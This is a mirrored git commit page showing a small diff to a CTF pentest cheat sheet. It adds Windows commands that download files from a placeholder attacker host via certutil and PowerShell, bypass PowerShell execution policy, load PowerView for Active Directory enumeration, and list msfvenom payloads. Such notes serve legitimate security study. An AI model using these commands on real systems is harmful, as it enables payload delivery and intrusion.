mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-10 06:34:17 +00:00
Update Cheat Sheet.md
This commit is contained in:
parent
a4cbc79d44
commit
ca789c8e70
1 changed files with 5 additions and 2 deletions
|
@ -132,14 +132,17 @@ dir /a:d `show only hidden folder`<br/>
|
|||
dir /a:h `show only hidden files`<br/>
|
||||
|
||||
### Downloading Files
|
||||
|
||||
`certutil.exe -urlcache -f http://<ip>:<port>/<file> ouput.exe`<br />
|
||||
`powershell -c "wget http://<ip>:<port>/<file>" -outfile output.exe`
|
||||
`powershell -c "wget http://<ip>:<port>/<file>" -outfile output.exe`<br />
|
||||
`powershell Invoke-WebRequest -Uri $ip -OutFile $filepath`
|
||||
|
||||
### Active Directory
|
||||
`powershell -ep bypass` load a powershell shell with execution policy bypassed <br/>
|
||||
`. .\PowerView.ps1` import the PowerView module
|
||||
|
||||
## List Drives
|
||||
`wmic logicaldisk get caption`
|
||||
|
||||
# Msfvenom
|
||||
### List All Payloads
|
||||
msfvenom -l payloads
|
||||
|
|
Loading…
Reference in a new issue